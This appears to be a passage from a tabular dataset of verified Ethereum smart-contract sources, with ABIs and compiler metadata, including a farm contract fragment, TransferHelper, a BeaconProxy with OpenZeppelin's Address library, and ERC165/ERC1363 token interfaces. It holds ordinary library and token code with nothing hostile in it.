farmInfo.rewardToken.transfer(_to, rewardBal);
} else {
farmInfo.rewardToken.transfer(_to, _amount);
}
}
} | [{"inputs":[{"internalType":"address","name":"_factory","type":"address"},{"internalType":"address","name":"_farmGenerator","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"EmergencyWithdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdraw","type":"event"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"deposit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"contract IFarmFactory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"farmGenerator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"farmInfo","outputs":[{"internalType":"contract IERC20","name":"lpToken","type":"address"},{"internalType":"contract IERC20","name":"rewardToken","type":"address"},{"internalType":"uint256","name":"startBlock","type":"uint256"},{"internalType":"uint256","name":"blockReward","type":"uint256"},{"internalType":"uint256","name":"bonusEndBlock","type":"uint256"},{"internalType":"uint256","name":"bonus","type":"uint256"},{"internalType":"uint256","name":"endBlock","type":"uint256"},{"internalType":"uint256","name":"lastRewardBlock","type":"uint256"},{"internalType":"uint256","name":"accRewardPerShare","type":"uint256"},{"internalType":"uint256","name":"farmableSupply","type":"uint256"},{"internalType":"uint256","name":"numFarmers","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"farmType","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_from_block","type":"uint256"},{"internalType":"uint256","name":"_to","type":"uint256"}],"name":"getMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_rewardToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20","name":"_lpToken","type":"address"},{"internalType":"uint256","name":"_blockReward","type":"uint256"},{"internalType":"uint256","name":"_startBlock","type":"uint256"},{"internalType":"uint256","name":"_endBlock","type":"uint256"},{"internalType":"uint256","name":"_bonusEndBlock","type":"uint256"},{"internalType":"uint256","name":"_bonus","type":"uint256"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"pendingReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"updatePool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userInfo","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"rewardDebt","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | false | 200 | 000000000000000000000000388f7e6d45e058aa703227b44e216e3be3c6a6e7000000000000000000000000197d2286f299c323272c08d768d7fd987e1350f2 | Default | None | false | ipfs://0f037a3eb55840c7676bbe2f0dd4b836cae7cafe5cf0631adacb8e12adc7cbf5 |
||
Farm01 | TransferHelper.sol | 0x6322c73c62f9f3992d05a5e8bda2792c4364d63c | Solidity | pragma solidity 0.6.12;
// helper methods for interacting with ERC20 tokens that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
} | [{"inputs":[{"internalType":"address","name":"_factory","type":"address"},{"internalType":"address","name":"_farmGenerator","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"EmergencyWithdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdraw","type":"event"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"deposit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"contract IFarmFactory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"farmGenerator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"farmInfo","outputs":[{"internalType":"contract IERC20","name":"lpToken","type":"address"},{"internalType":"contract IERC20","name":"rewardToken","type":"address"},{"internalType":"uint256","name":"startBlock","type":"uint256"},{"internalType":"uint256","name":"blockReward","type":"uint256"},{"internalType":"uint256","name":"bonusEndBlock","type":"uint256"},{"internalType":"uint256","name":"bonus","type":"uint256"},{"internalType":"uint256","name":"endBlock","type":"uint256"},{"internalType":"uint256","name":"lastRewardBlock","type":"uint256"},{"internalType":"uint256","name":"accRewardPerShare","type":"uint256"},{"internalType":"uint256","name":"farmableSupply","type":"uint256"},{"internalType":"uint256","name":"numFarmers","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"farmType","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_from_block","type":"uint256"},{"internalType":"uint256","name":"_to","type":"uint256"}],"name":"getMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_rewardToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20","name":"_lpToken","type":"address"},{"internalType":"uint256","name":"_blockReward","type":"uint256"},{"internalType":"uint256","name":"_startBlock","type":"uint256"},{"internalType":"uint256","name":"_endBlock","type":"uint256"},{"internalType":"uint256","name":"_bonusEndBlock","type":"uint256"},{"internalType":"uint256","name":"_bonus","type":"uint256"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"pendingReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"updatePool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userInfo","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"rewardDebt","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | false | 200 | 000000000000000000000000388f7e6d45e058aa703227b44e216e3be3c6a6e7000000000000000000000000197d2286f299c323272c08d768d7fd987e1350f2 | Default | None | false | ipfs://0f037a3eb55840c7676bbe2f0dd4b836cae7cafe5cf0631adacb8e12adc7cbf5 |
||
BeaconProxy | contracts/solidity/proxy/IBeacon.sol | 0x1d292afdcc5b8ba45d461afccdf53bc338dd566e | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function childImplementation() external view returns (address);
function upgradeChildTo(address newImplementation) external;
} | [{"inputs":[{"internalType":"address","name":"beacon","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"payable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | true | 1,000 | 000000000000000000000000be86f647b167567525ccaafcd6f881f1ee55821600000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://d6fb37f385edf477bb5b2cb6b07ef086b11922b44c01e7e13c94e97c64d067c0 |
||
BeaconProxy | contracts/solidity/util/Address.sol | 0x1d292afdcc5b8ba45d461afccdf53bc338dd566e | Solidity | pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | [{"inputs":[{"internalType":"address","name":"beacon","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"payable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | true | 1,000 | 000000000000000000000000be86f647b167567525ccaafcd6f881f1ee55821600000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://d6fb37f385edf477bb5b2cb6b07ef086b11922b44c01e7e13c94e97c64d067c0 |
||
BeaconProxy | contracts/solidity/proxy/BeaconProxy.sol | 0x1d292afdcc5b8ba45d461afccdf53bc338dd566e | Solidity | pragma solidity ^0.8.0;
/**
* @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}.
*
* The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't
* conflict with the storage layout of the implementation behind the proxy.
*
* _Available since v3.4._
*/
contract BeaconProxy is Proxy {
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 private constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Initializes the proxy with `beacon`.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This
* will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity
* constructor.
*
* Requirements:
*
* - `beacon` must be a contract with the interface {IBeacon}.
*/
constructor(address beacon, bytes memory data) payable {
assert(_BEACON_SLOT == bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1));
_setBeacon(beacon, data);
}
/**
* @dev Returns the current beacon address.
*/
function _beacon() internal view virtual returns (address beacon) {
bytes32 slot = _BEACON_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
beacon := sload(slot)
}
}
/**
* @dev Returns the current implementation address of the associated beacon.
*/
function _implementation() internal view virtual override returns (address) {
return IBeacon(_beacon()).childImplementation();
}
/**
* @dev Changes the proxy to use a new beacon.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon.
*
* Requirements:
*
* - `beacon` must be a contract.
* - The implementation returned by `beacon` must be a contract.
*/
function _setBeacon(address beacon, bytes memory data) internal virtual {
require(
Address.isContract(beacon),
"BeaconProxy: beacon is not a contract"
);
require(
Address.isContract(IBeacon(beacon).childImplementation()),
"BeaconProxy: beacon implementation is not a contract"
);
bytes32 slot = _BEACON_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, beacon)
}
if (data.length > 0) {
Address.functionDelegateCall(_implementation(), data, "BeaconProxy: function call failed");
}
}
} | [{"inputs":[{"internalType":"address","name":"beacon","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"payable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | true | 1,000 | 000000000000000000000000be86f647b167567525ccaafcd6f881f1ee55821600000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://d6fb37f385edf477bb5b2cb6b07ef086b11922b44c01e7e13c94e97c64d067c0 |
||
BaseToken | openzeppelin-solidity/contracts/token/ERC20/RBACMintableToken.sol | 0x7870c221615e539933d0edfe8904522d1bd7e215 | Solidity | /**
* @title RBACMintableToken
* @author Vittorio Minacori (@vittominacori)
* @dev Mintable Token, with RBAC minter permissions
*/
contract RBACMintableToken is MintableToken, RBAC {
/**
* A constant role name for indicating minters.
*/
string public constant ROLE_MINTER = "minter";
/**
* @dev override the Mintable token modifier to add role based logic
*/
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
/**
* @dev add a minter role to an address
* @param _minter address
*/
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
/**
* @dev remove a minter role from an address
* @param _minter address
*/
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
} | 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BaseToken | openzeppelin-solidity/contracts/introspection/ERC165.sol | 0x7870c221615e539933d0edfe8904522d1bd7e215 | Solidity | /**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface ERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
} | 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| v0.4.24+commit.e67f0147 | true | 200 | 000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000009736e6920746f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003534e490000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://c85c46f0f54989e55afc66344d9c3a07149f1fe39e15b1b7a1f1269cd053826a |
|||
BaseToken | erc-payable-token/contracts/token/ERC1363/ERC1363.sol | 0x7870c221615e539933d0edfe8904522d1bd7e215 | Solidity | /**
* @title ERC1363 interface
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Interface for a Payable Token contract as defined in
* https://github.com/ethereum/EIPs/issues/1363
*/
contract ERC1363 is ERC20, ERC165 {
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
/**
* @notice Transfer tokens from `msg.sender` to another address
* and then call `onTransferReceived` on receiver
* @param _to address The address which you want to transfer to
* @param _value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address _to, uint256 _value) public returns (bool);
/**
* @notice Transfer tokens from `msg.sender` to another address
* and then call `onTransferReceived` on receiver
* @param _to address The address which you want to transfer to
* @param _value uint256 The amount of tokens to be transferred
* @param _data bytes Additional data with no specified format, sent in call to `_to`
* @return true unless throwing
*/
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool); // solium-disable-line max-len
/**
* @notice Transfer tokens from one address to another
* and then call `onTransferReceived` on receiver
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferFromAndCall(address _from, address _to, uint256 _value) public returns (bool); // solium-disable-line max-len
/**
* @notice Transfer tokens from one address to another
* and then call `onTransferReceived` on receiver
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 The amount of tokens to be transferred
* @param _data bytes Additional data with no specified format, sent in call to `_to`
* @return true unless throwing
*/
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public returns (bool); // solium-disable-line max-len, arg-overflow
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address The address which will spend the funds
* @param _value uint256 The amount of tokens to be spent
*/
function approveAndCall(address _spender, uint256 _value) public returns (bool); // solium-disable-line max-len
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address The address which will spend the funds
* @param _value uint256 The amount of tokens to be spent
* @param _data bytes Additional data with no specified format, sent in call to `_spender`
*/
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool); // solium-disable-line max-len
} | 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"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"transferFromAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFromAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"operator","type":"address"},{"indexed":false,"name":"role","type":"string"}],"name":"RoleAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"operator","type":"address"},{"indexed":false,"name":"role","type":"string"}],"name":"RoleRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.24+commit.e67f0147 | true | 200 | 000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000009736e6920746f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003534e490000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://c85c46f0f54989e55afc66344d9c3a07149f1fe39e15b1b7a1f1269cd053826a |
|||
BaseToken | erc-payable-token/contracts/token/ERC1363/ERC1363Receiver.sol | 0x7870c221615e539933d0edfe8904522d1bd7e215 | Solidity | /**
* @title ERC1363Receiver interface
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Interface for any contract that wants to support transferAndCall or transferFromAndCall
* from ERC1363 token contracts as defined in
* https://github.com/ethereum/EIPs/issues/1363
*/
contract ERC1363Receiver {
/*
* Note: the ERC-165 identifier for this interface is 0x88a7ca5c.
* 0x88a7ca5c === bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))
*/
/**
* @notice Handle the receipt of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the contract address is always the message sender.
* @param _operator address The address which called `transferAndCall` or `transferFromAndCall` function
* @param _from address The address which are token transferred from
* @param _value uint256 The amount of tokens transferred
* @param _data bytes Additional data with no specified format
* @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
* unless throwing
*/
function onTransferReceived(address _operator, address _from, uint256 _value, bytes _data) external returns (bytes4); // solium-disable-line max-len, arg-overflow
} | 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"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"transferFromAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFromAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"operator","type":"address"},{"indexed":false,"name":"role","type":"string"}],"name":"RoleAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"operator","type":"address"},{"indexed":false,"name":"role","type":"string"}],"name":"RoleRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newO